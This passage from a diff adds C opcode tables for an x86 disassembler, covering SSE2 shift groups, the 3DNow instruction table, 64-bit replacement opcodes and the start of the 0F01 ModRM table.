+ { NOINSTR }, // xB
+ { NOINSTR }, // xC
+ { NOINSTR }, // xD
+ { NOINSTR }, // xE
+ { NOINSTR }, // xF
+
+ /* Ax */
+ { NOINSTR }, // x0
+ { NOINSTR }, // x1
+ { NOINSTR }, // x2
+ { NOINSTR }, // x3
+ { NOINSTR }, // x4
+ { NOINSTR }, // x5
+ { NOINSTR }, // x6
+ { NOINSTR }, // x7
+ { NOINSTR }, // x8
+ { NOINSTR }, // x9
+ { NOINSTR }, // xA
+ { NOINSTR }, // xB
+ { NOINSTR }, // xC
+ { NOINSTR }, // xD
+ { NOINSTR }, // xE
+ { NOINSTR }, // xF
+
+ /* Bx */
+ { NOINSTR }, // x0
+ { NOINSTR }, // x1
+ { NOINSTR }, // x2
+ { NOINSTR }, // x3
+ { NOINSTR }, // x4
+ { NOINSTR }, // x5
+ { NOINSTR }, // x6
+ { NOINSTR }, // x7
+ { NOINSTR }, // x8
+ { NOINSTR }, // x9
+ { NOINSTR }, // xA
+ { NOINSTR }, // xB
+ { NOINSTR }, // xC
+ { NOINSTR }, // xD
+ { NOINSTR }, // xE
+ { NOINSTR }, // xF
+
+ /* Cx */
+ { NOINSTR }, // x0
+ { NOINSTR }, // x1
+ { NOGROUP, CPU_PENTIUM3, ITYPE_SSE_CMP, "cmpss", { AMODE_V | OPTYPE_ss | OP_DST, AMODE_W | OPTYPE_ss | OP_SRC, AMODE_I | OPTYPE_b | OP_SRC }, NOCOND, FLAG_COMMON_MOD, NOACTION, IGNORED }, // x2
+ { NOINSTR }, // x3
+ { NOINSTR }, // x4
+ { NOINSTR }, // x5
+ { NOINSTR }, // x6
+ { NOINSTR }, // x7
+ { NOINSTR }, // x8
+ { NOINSTR }, // x9
+ { NOINSTR }, // xA
+ { NOINSTR }, // xB
+ { NOINSTR }, // xC
+ { NOINSTR }, // xD
+ { NOINSTR }, // xE
+ { NOINSTR }, // xF
+
+ /* Dx */
+ { NOINSTR }, // x0
+ { NOINSTR }, // x1
+ { NOINSTR }, // x2
+ { NOINSTR }, // x3
+ { NOINSTR }, // x4
+ { NOINSTR }, // x5
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_MOV, "movq2dq", { AMODE_V | OPTYPE_o | OP_DST, AMODE_PR | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x6
+ { NOINSTR }, // x7
+ { NOINSTR }, // x8
+ { NOINSTR }, // x9
+ { NOINSTR }, // xA
+ { NOINSTR }, // xB
+ { NOINSTR }, // xC
+ { NOINSTR }, // xD
+ { NOINSTR }, // xE
+ { NOINSTR }, // xF
+
+ /* Ex */
+ { NOINSTR }, // x0
+ { NOINSTR }, // x1
+ { NOINSTR }, // x2
+ { NOINSTR }, // x3
+ { NOINSTR }, // x4
+ { NOINSTR }, // x5
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "cvtdq2pd", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x6
+ { NOINSTR }, // x7
+ { NOINSTR }, // x8
+ { NOINSTR }, // x9
+ { NOINSTR }, // xA
+ { NOINSTR }, // xB
+ { NOINSTR }, // xC
+ { NOINSTR }, // xD
+ { NOINSTR }, // xE
+ { NOINSTR }, // xF
+
+ /* Fx */
+ { NOINSTR }, // x0
+ { NOINSTR }, // x1
+ { NOINSTR }, // x2
+ { NOINSTR }, // x3
+ { NOINSTR }, // x4
+ { NOINSTR }, // x5
+ { NOINSTR }, // x6
+ { NOINSTR }, // x7
+ { NOINSTR }, // x8
+ { NOINSTR }, // x9
+ { NOINSTR }, // xA
+ { NOINSTR }, // xB
+ { NOINSTR }, // xC
+ { NOINSTR }, // xD
+ { NOINSTR }, // xE
+ { NOINSTR } // xF
+};
+
+X86_OPCODE X86_SSE2_Group_13[24] = // 66/F2/F3 0F 71
+{
+ // prefix 0x66 (operand size)
+ { NOINSTR }, /* 0x00 */
+ { NOINSTR }, /* 0x01 */
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "psrlw", { AMODE_VR | OPTYPE_o | OP_DST, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x02 */
+ { NOINSTR }, /* 0x03 */
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "psraw", { AMODE_VR | OPTYPE_o | OP_DST, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x04 */
+ { NOINSTR }, /* 0x05 */
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "psllw", { AMODE_VR | OPTYPE_o | OP_DST, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x06 */
+ { NOINSTR }, /* 0x07 */
+
+ // prefix 0xf2 (repne)
+ { NOINSTR }, /* 0x00 */
+ { NOINSTR }, /* 0x01 */
+ { NOINSTR }, /* 0x02 */
+ { NOINSTR }, /* 0x03 */
+ { NOINSTR }, /* 0x04 */
+ { NOINSTR }, /* 0x05 */
+ { NOINSTR }, /* 0x06 */
+ { NOINSTR }, /* 0x07 */
+
+ // prefix 0xf3 (rep)
+ { NOINSTR }, /* 0x00 */
+ { NOINSTR }, /* 0x01 */
+ { NOINSTR }, /* 0x02 */
+ { NOINSTR }, /* 0x03 */
+ { NOINSTR }, /* 0x04 */
+ { NOINSTR }, /* 0x05 */
+ { NOINSTR }, /* 0x06 */
+ { NOINSTR }, /* 0x07 */
+};
+
+X86_OPCODE X86_SSE2_Group_14[24] = // 66/F2/F3 0F 72
+{
+ // prefix 0x66 (operand size)
+ { NOINSTR }, /* 0x00 */
+ { NOINSTR }, /* 0x01 */
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "psrld", { AMODE_VR | OPTYPE_o | OP_DST, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x02 */
+ { NOINSTR }, /* 0x03 */
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "psrad", { AMODE_VR | OPTYPE_o | OP_DST, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x04 */
+ { NOINSTR }, /* 0x05 */
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "pslld", { AMODE_VR | OPTYPE_o | OP_DST, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x06 */
+ { NOINSTR }, /* 0x07 */
+
+ // prefix 0xf2 (repne)
+ { NOINSTR }, /* 0x00 */
+ { NOINSTR }, /* 0x01 */
+ { NOINSTR }, /* 0x02 */
+ { NOINSTR }, /* 0x03 */
+ { NOINSTR }, /* 0x04 */
+ { NOINSTR }, /* 0x05 */
+ { NOINSTR }, /* 0x06 */
+ { NOINSTR }, /* 0x07 */
+
+ // prefix 0xf3 (rep)
+ { NOINSTR }, /* 0x00 */
+ { NOINSTR }, /* 0x01 */
+ { NOINSTR }, /* 0x02 */
+ { NOINSTR }, /* 0x03 */
+ { NOINSTR }, /* 0x04 */
+ { NOINSTR }, /* 0x05 */
+ { NOINSTR }, /* 0x06 */
+ { NOINSTR }, /* 0x07 */
+};
+
+X86_OPCODE X86_SSE2_Group_15[24] =
+{
+ // prefix 0x66 (operand size)
+ { NOINSTR }, /* 0x00 */
+ { NOINSTR }, /* 0x01 */
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "psrlq", { AMODE_VR | OPTYPE_o | OP_DST, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x02 */
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "psrldq", { AMODE_VR | OPTYPE_o | OP_DST, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x03 */
+ { NOINSTR }, /* 0x04 */
+ { NOINSTR }, /* 0x05 */
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "psllq", { AMODE_VR | OPTYPE_o | OP_DST, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x06 */
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "pslldq", { AMODE_VR | OPTYPE_o | OP_DST, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x07 */
+
+ // prefix 0xf2 (repne)
+ { NOINSTR }, /* 0x00 */
+ { NOINSTR }, /* 0x01 */
+ { NOINSTR }, /* 0x02 */
+ { NOINSTR }, /* 0x03 */
+ { NOINSTR }, /* 0x04 */
+ { NOINSTR }, /* 0x05 */
+ { NOINSTR }, /* 0x06 */
+ { NOINSTR }, /* 0x07 */
+
+ // prefix 0xf3 (rep)
+ { NOINSTR }, /* 0x00 */
+ { NOINSTR }, /* 0x01 */
+ { NOINSTR }, /* 0x02 */
+ { NOINSTR }, /* 0x03 */
+ { NOINSTR }, /* 0x04 */
+ { NOINSTR }, /* 0x05 */
+ { NOINSTR }, /* 0x06 */
+ { NOINSTR }, /* 0x07 */
+};
+
+/////////////////////////////////////////////////////////////////////////
+/////////////////////////////////////////////////////////////////////////
+// 3DNow opcodes
+/////////////////////////////////////////////////////////////////////////
+/////////////////////////////////////////////////////////////////////////
+
+X86_OPCODE X86_3DNOW_0F[0x100] =
+{
+ { NOINSTR }, /* 00 */
+ { NOINSTR }, /* 01 */
+ { NOINSTR }, /* 02 */
+ { NOINSTR }, /* 03 */
+ { NOINSTR }, /* 04 */
+ { NOINSTR }, /* 05 */
+ { NOINSTR }, /* 06 */
+ { NOINSTR }, /* 07 */
+ { NOINSTR }, /* 08 */
+ { NOINSTR }, /* 09 */
+ { NOINSTR }, /* 0A */
+ { NOINSTR }, /* 0B */
+ { NOGROUP, CPU_AMD_K6_2, ITYPE_3DNOW, "pi2fw", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0C */
+ { NOGROUP, CPU_AMD_K6_2, ITYPE_3DNOW, "pi2fd", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0D */
+ { NOINSTR }, /* 0E */
+ { NOINSTR }, /* 0F */
+ { NOINSTR }, /* 10 */
+ { NOINSTR }, /* 11 */
+ { NOINSTR }, /* 12 */
+ { NOINSTR }, /* 13 */
+ { NOINSTR }, /* 14 */
+ { NOINSTR }, /* 15 */
+ { NOINSTR }, /* 16 */
+ { NOINSTR }, /* 17 */
+ { NOINSTR }, /* 18 */
+ { NOINSTR }, /* 19 */
+ { NOINSTR }, /* 1A */
+ { NOINSTR }, /* 1B */
+ { NOGROUP, CPU_AMD_K6_2, ITYPE_3DNOW, "pf2iw", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 1C */
+ { NOGROUP, CPU_AMD_K6_2, ITYPE_3DNOW, "pf2id", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 1D */
+ { NOINSTR }, /* 1E */
+ { NOINSTR }, /* 1F */
+ { NOINSTR }, /* 20 */
+ { NOINSTR }, /* 21 */
+ { NOINSTR }, /* 22 */
+ { NOINSTR }, /* 23 */
+ { NOINSTR }, /* 24 */
+ { NOINSTR }, /* 25 */
+ { NOINSTR }, /* 26 */
+ { NOINSTR }, /* 27 */
+ { NOINSTR }, /* 28 */
+ { NOINSTR }, /* 29 */
+ { NOINSTR }, /* 2A */
+ { NOINSTR }, /* 2B */
+ { NOINSTR }, /* 2C */
+ { NOINSTR }, /* 2D */
+ { NOINSTR }, /* 2E */
+ { NOINSTR }, /* 2F */
+ { NOINSTR }, /* 30 */
+ { NOINSTR }, /* 31 */
+ { NOINSTR }, /* 32 */
+ { NOINSTR }, /* 33 */
+ { NOINSTR }, /* 34 */
+ { NOINSTR }, /* 35 */
+ { NOINSTR }, /* 36 */
+ { NOINSTR }, /* 37 */
+ { NOINSTR }, /* 38 */
+ { NOINSTR }, /* 39 */
+ { NOINSTR }, /* 3A */
+ { NOINSTR }, /* 3B */
+ { NOINSTR }, /* 3C */
+ { NOINSTR }, /* 3D */
+ { NOINSTR }, /* 3E */
+ { NOINSTR }, /* 3F */
+ { NOINSTR }, /* 40 */
+ { NOINSTR }, /* 41 */
+ { NOINSTR }, /* 42 */
+ { NOINSTR }, /* 43 */
+ { NOINSTR }, /* 44 */
+ { NOINSTR }, /* 45 */
+ { NOINSTR }, /* 46 */
+ { NOINSTR }, /* 47 */
+ { NOINSTR }, /* 48 */
+ { NOINSTR }, /* 49 */
+ { NOINSTR }, /* 4A */
+ { NOINSTR }, /* 4B */
+ { NOINSTR }, /* 4C */
+ { NOINSTR }, /* 4D */
+ { NOINSTR }, /* 4E */
+ { NOINSTR }, /* 4F */
+ { NOINSTR }, /* 50 */
+ { NOINSTR }, /* 51 */
+ { NOINSTR }, /* 52 */
+ { NOINSTR }, /* 53 */
+ { NOINSTR }, /* 54 */
+ { NOINSTR }, /* 55 */
+ { NOINSTR }, /* 56 */
+ { NOINSTR }, /* 57 */
+ { NOINSTR }, /* 58 */
+ { NOINSTR }, /* 59 */
+ { NOINSTR }, /* 5A */
+ { NOINSTR }, /* 5B */
+ { NOINSTR }, /* 5C */
+ { NOINSTR }, /* 5D */
+ { NOINSTR }, /* 5E */
+ { NOINSTR }, /* 5F */
+ { NOINSTR }, /* 60 */
+ { NOINSTR }, /* 61 */
+ { NOINSTR }, /* 62 */
+ { NOINSTR }, /* 63 */
+ { NOINSTR }, /* 64 */
+ { NOINSTR }, /* 65 */
+ { NOINSTR }, /* 66 */
+ { NOINSTR }, /* 67 */
+ { NOINSTR }, /* 68 */
+ { NOINSTR }, /* 69 */
+ { NOINSTR }, /* 6A */
+ { NOINSTR }, /* 6B */
+ { NOINSTR }, /* 6C */
+ { NOINSTR }, /* 6D */
+ { NOINSTR }, /* 6E */
+ { NOINSTR }, /* 6F */
+ { NOINSTR }, /* 70 */
+ { NOINSTR }, /* 71 */
+ { NOINSTR }, /* 72 */
+ { NOINSTR }, /* 73 */
+ { NOINSTR }, /* 74 */
+ { NOINSTR }, /* 75 */
+ { NOINSTR }, /* 76 */
+ { NOINSTR }, /* 77 */
+ { NOINSTR }, /* 78 */
+ { NOINSTR }, /* 79 */
+ { NOINSTR }, /* 7A */
+ { NOINSTR }, /* 7B */
+ { NOINSTR }, /* 7C */
+ { NOINSTR }, /* 7D */
+ { NOINSTR }, /* 7E */
+ { NOINSTR }, /* 7F */
+ { NOINSTR }, /* 80 */
+ { NOINSTR }, /* 81 */
+ { NOINSTR }, /* 82 */
+ { NOINSTR }, /* 83 */
+ { NOINSTR }, /* 84 */
+ { NOINSTR }, /* 85 */
+ { NOINSTR }, /* 86 */
+ { NOINSTR }, /* 87 */
+ { NOINSTR }, /* 88 */
+ { NOINSTR }, /* 89 */
+ { NOGROUP, CPU_AMD_K6_2, ITYPE_3DNOW, "pfnacc", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 8A */
+ { NOINSTR }, /* 8B */
+ { NOINSTR }, /* 8C */
+ { NOINSTR }, /* 8D */
+ { NOGROUP, CPU_AMD_K6_2, ITYPE_3DNOW, "pfpnacc", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 8E */
+ { NOINSTR }, /* 8F */
+ { NOGROUP, CPU_AMD_K6_2, ITYPE_3DNOW_CMP, "pfcmpge", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 90 */
+ { NOINSTR }, /* 91 */
+ { NOINSTR }, /* 92 */
+ { NOINSTR }, /* 93 */
+ { NOGROUP, CPU_AMD_K6_2, ITYPE_3DNOW, "pfmin", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 94 */
+ { NOINSTR }, /* 95 */
+ { NOGROUP, CPU_AMD_K6_2, ITYPE_3DNOW, "pfrcp", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 96 */
+ { NOGROUP, CPU_AMD_K6_2, ITYPE_3DNOW, "pfrsqrt", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 97 */
+ { NOINSTR }, /* 98 */
+ { NOINSTR }, /* 99 */
+ { NOGROUP, CPU_AMD_K6_2, ITYPE_3DNOW_SUB, "pfsub", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 9A */
+ { NOINSTR }, /* 9B */
+ { NOINSTR }, /* 9C */
+ { NOINSTR }, /* 9D */
+ { NOGROUP, CPU_AMD_K6_2, ITYPE_3DNOW_ADD, "pfadd", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 9E */
+ { NOINSTR }, /* 9F */
+ { NOGROUP, CPU_AMD_K6_2, ITYPE_3DNOW_CMP, "pfcmpgt", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* A0 */
+ { NOINSTR }, /* A1 */
+ { NOINSTR }, /* A2 */
+ { NOINSTR }, /* A3 */
+ { NOGROUP, CPU_AMD_K6_2, ITYPE_3DNOW, "pfmax", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* A4 */
+ { NOINSTR }, /* A5 */
+ { NOGROUP, CPU_AMD_K6_2, ITYPE_3DNOW, "pfrcpit1", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* A6 */
+ { NOGROUP, CPU_AMD_K6_2, ITYPE_3DNOW, "pfrsqit1", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* A7 */
+ { NOINSTR }, /* A8 */
+ { NOINSTR }, /* A9 */
+ { NOGROUP, CPU_AMD_K6_2, ITYPE_3DNOW_SUB, "pfsubr", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* AA */
+ { NOINSTR }, /* AB */
+ { NOINSTR }, /* AC */
+ { NOINSTR }, /* AD */
+ { NOGROUP, CPU_AMD_K6_2, ITYPE_3DNOW, "pfacc", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* AE */
+ { NOINSTR }, /* AF */
+ { NOGROUP, CPU_AMD_K6_2, ITYPE_3DNOW_CMP, "pfcmpeq", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* B0 */
+ { NOINSTR }, /* B1 */
+ { NOINSTR }, /* B2 */
+ { NOINSTR }, /* B3 */
+ { NOGROUP, CPU_AMD_K6_2, ITYPE_3DNOW_MUL, "pfmul", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* B4 */
+ { NOINSTR }, /* B5 */
+ { NOGROUP, CPU_AMD_K6_2, ITYPE_3DNOW, "pfrcpit2", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* B6 */
+ { NOGROUP, CPU_AMD_K6_2, ITYPE_3DNOW_MUL, "pmulhrw", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* B7 */
+ { NOINSTR }, /* B8 */
+ { NOINSTR }, /* B9 */
+ { NOINSTR }, /* BA */
+ { NOGROUP, CPU_AMD_K6_2, ITYPE_3DNOW_XCHG, "pswapd", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* BB */
+ { NOINSTR }, /* BC */
+ { NOINSTR }, /* BD */
+ { NOINSTR }, /* BE */
+ { NOGROUP, CPU_AMD_K6_2, ITYPE_3DNOW, "pavgb", { AMODE_P | OPTYPE_q | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* BF */
+ { NOINSTR }, /* C0 */
+ { NOINSTR }, /* C1 */
+ { NOINSTR }, /* C2 */
+ { NOINSTR }, /* C3 */
+ { NOINSTR }, /* C4 */
+ { NOINSTR }, /* C5 */
+ { NOINSTR }, /* C6 */
+ { NOINSTR }, /* C7 */
+ { NOINSTR }, /* C8 */
+ { NOINSTR }, /* C9 */
+ { NOINSTR }, /* CA */
+ { NOINSTR }, /* CB */
+ { NOINSTR }, /* CC */
+ { NOINSTR }, /* CD */
+ { NOINSTR }, /* CE */
+ { NOINSTR }, /* CF */
+ { NOINSTR }, /* D0 */
+ { NOINSTR }, /* D1 */
+ { NOINSTR }, /* D2 */
+ { NOINSTR }, /* D3 */
+ { NOINSTR }, /* D4 */
+ { NOINSTR }, /* D5 */
+ { NOINSTR }, /* D6 */
+ { NOINSTR }, /* D7 */
+ { NOINSTR }, /* D8 */
+ { NOINSTR }, /* D9 */
+ { NOINSTR }, /* DA */
+ { NOINSTR }, /* DB */
+ { NOINSTR }, /* DC */
+ { NOINSTR }, /* DD */
+ { NOINSTR }, /* DE */
+ { NOINSTR }, /* DF */
+ { NOINSTR }, /* E0 */
+ { NOINSTR }, /* E1 */
+ { NOINSTR }, /* E2 */
+ { NOINSTR }, /* E3 */
+ { NOINSTR }, /* E4 */
+ { NOINSTR }, /* E5 */
+ { NOINSTR }, /* E6 */
+ { NOINSTR }, /* E7 */
+ { NOINSTR }, /* E8 */
+ { NOINSTR }, /* E9 */
+ { NOINSTR }, /* EA */
+ { NOINSTR }, /* EB */
+ { NOINSTR }, /* EC */
+ { NOINSTR }, /* ED */
+ { NOINSTR }, /* EE */
+ { NOINSTR }, /* EF */
+ { NOINSTR }, /* F0 */
+ { NOINSTR }, /* F1 */
+ { NOINSTR }, /* F2 */
+ { NOINSTR }, /* F3 */
+ { NOINSTR }, /* F4 */
+ { NOINSTR }, /* F5 */
+ { NOINSTR }, /* F6 */
+ { NOINSTR }, /* F7 */
+ { NOINSTR }, /* F8 */
+ { NOINSTR }, /* F9 */
+ { NOINSTR }, /* FA */
+ { NOINSTR }, /* FB */
+ { NOINSTR }, /* FC */
+ { NOINSTR }, /* FD */
+ { NOINSTR }, /* FE */
+ { NOINSTR } /* FF */
+};
+
+/////////////////////////////////////////////////////////////////////////
+/////////////////////////////////////////////////////////////////////////
+// 64-bit replacement opcodes
+/////////////////////////////////////////////////////////////////////////
+/////////////////////////////////////////////////////////////////////////
+
+X86_OPCODE X86_Opcode_63[2] =
+{
+ { NOGROUP, CPU_I386, ITYPE_SYSTEM, "arpl", { AMODE_E | OPTYPE_w | OP_SRC, AMODE_G | OPTYPE_w | OP_SRC, 0 }, NOCOND, FLAG_ZF_MOD, NOACTION, IGNORED }, // !ARCH_AMD64
+ { NOGROUP, CPU_AMD64, ITYPE_MOV, "movsxd", { AMODE_G | OPTYPE_v | OP_SIGNED | OP_DST, AMODE_E | OPTYPE_d | OP_SIGNED | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED } // ARCH_AMD64
+};
+
+X86_OPCODE X86_Opcode_0F05[2] =
+{
+ { NOGROUP, CPU_AMD_K6_2, ITYPE_SYSCALL, "syscall", { OPTYPE_STAR_MSR | OP_MSR | OP_SRC, OPTYPE_CSTAR_MSR | OP_MSR | OP_SRC, OPTYPE_FMASK_MSR | OP_MSR | OP_SRC }, NOCOND, FLAG_ZF_MOD, NOACTION, IGNORED }, // !ARCH_AMD64
+ { NOGROUP, CPU_AMD64, ITYPE_SYSCALL, "syscall", { OPTYPE_STAR_MSR | OP_MSR | OP_SRC, OPTYPE_LSTAR_MSR | OP_MSR | OP_SRC, OPTYPE_FMASK_MSR | OP_MSR | OP_SRC }, NOCOND, NOCHANGE, NOACTION, IGNORED } // ARCH_AMD64
+};
+
+/////////////////////////////////////////////////////////////////////////
+/////////////////////////////////////////////////////////////////////////
+// Other 3 byte opcodes
+/////////////////////////////////////////////////////////////////////////
+/////////////////////////////////////////////////////////////////////////
+
+// Three byte opcodes where the third opcode byte is ModRM
+X86_OPCODE X86_0F01_ModRM[0x100] =
+{
+ /* 0x */
+ { X86_Group_7, GROUP }, // x0
+ { X86_Group_7, GROUP }, // x1
+ { X86_Group_7, GROUP }, // x2
+ { X86_Group_7, GROUP }, // x3
+ { X86_Group_7, GROUP }, // x4
+ { X86_Group_7, GROUP }, // x5
+ { X86_Group_7, GROUP }, // x6
+ { X86_Group_7, GROUP }, // x7
+ { X86_Group_7, GROUP }, // x8
+ { X86_Group_7, GROUP }, // x9
+ { X86_Group_7, GROUP }, // xA
+ { X86_Group_7, GROUP }, // xB
+ { X86_Group_7, GROUP }, // xC
+ { X86_Group_7, GROUP }, // xD
+ { X86_Group_7, GROUP }, // xE
+ { X86_Group_7, GROUP }, // xF
+
+ /* 1x */
+ { X86_Group_7, GROUP }, // x0
+ { X86_Group_7, GROUP }, // x1
+ { X86_Group_7, GROUP }, // x2
+ { X86_Group_7, GROUP }, // x3
+ { X86_Group_7, GROUP }, // x4
+ { X86_Group_7, GROUP }, // x5
+ { X86_Group_7, GROUP }, // x6
+ { X86_Group_7, GROUP }, // x7
+ { X86_Group_7, GROUP }, // x8
+ { X86_Group_7, GROUP }, // x9
+ { X86_Group_7, GROUP }, // xA
+ { X86_Group_7, GROUP }, // xB
+ { X86_Group_7, GROUP }, // xC
+ { X86_Group_7, GROUP }, // xD
+ { X86_Group_7, GROUP }, // xE
+ { X86_Group_7, GROUP }, // xF
+
+ /* 2x */
+ { X86_Group_7, GROUP }, // x0
+ { X86_Group_7, GROUP }, // x1
+ { X86_Group_7, GROUP }, // x2
+ { X86_Group_7, GROUP }, // x3
+ { X86_Group_7, GROUP }, // x4
+ { X86_Group_7, GROUP }, // x5
+ { X86_Group_7, GROUP }, // x6
+ { X86_Group_7, GROUP }, // x7
+ { X86_Group_7, GROUP }, // x8
+ { X86_Group_7, GROUP }, // x9
+ { X86_Group_7, GROUP }, // xA
+ { X86_Group_7, GROUP }, // xB
+ { X86_Group_7, GROUP }, // xC
+ { X86_Group_7, GROUP }, // xD
+ { X86_Group_7, GROUP }, // xE
+ { X86_Group_7, GROUP }, // xF
+
+ /* 3x */
+ { X86_Group_7, GROUP }, // x0
+ { X86_Group_7, GROUP }, // x1
+ { X86_Group_7, GROUP }, // x2
+ { X86_Group_7, GROUP }, // x3
+ { X86_Group_7, GROUP }, // x4
+ { X86_Group_7, GROUP }, // x5
+ { X86_Group_7, GROUP }, // x6
+ { X86_Group_7, GROUP }, // x7
+ { X86_Group_7, GROUP }, // x8
+ { X86_Group_7, GROUP }, // x9
+ { X86_Group_7, GROUP }, // xA
+ { X86_Group_7, GROUP }, // xB
+ { X86_Group_7, GROUP }, // xC
+ { X86_Group_7, GROUP }, // xD
+ { X86_Group_7, GROUP }, // xE
+ { X86_Group_7, GROUP }, // xF
+
+ /* 4x */
+ { X86_Group_7, GROUP }, // x0
+ { X86_Group_7, GROUP }, // x1
+ { X86_Group_7, GROUP }, // x2
+ { X86_Group_7, GROUP }, // x3
+ { X86_Group_7, GROUP }, // x4
+ { X86_Group_7, GROUP }, // x5
+ { X86_Group_7, GROUP }, // x6
+ { X86_Group_7, GROUP }, // x7
+ { X86_Group_7, GROUP }, // x8
+ { X86_Group_7, GROUP }, // x9
+ { X86_Group_7, GROUP }, // xA
+ { X86_Group_7, GROUP }, // xB
+ { X86_Group_7, GROUP }, // xC
+ { X86_Group_7, GROUP }, // xD
+ { X86_Group_7, GROUP }, // xE
+ { X86_Group_7, GROUP }, // xF
+
+ /* 5x */
+ { X86_Group_7, GROUP }, // x0
+ { X86_Group_7, GROUP }, // x1
+ { X86_Group_7, GROUP }, // x2
+ { X86_Group_7, GROUP }, // x3
+ { X86_Group_7, GROUP }, // x4
+ { X86_Group_7, GROUP }, // x5
+ { X86_Group_7, GROUP }, // x6
+ { X86_Group_7, GROUP }, // x7
+ { X86_Group_7, GROUP }, // x8
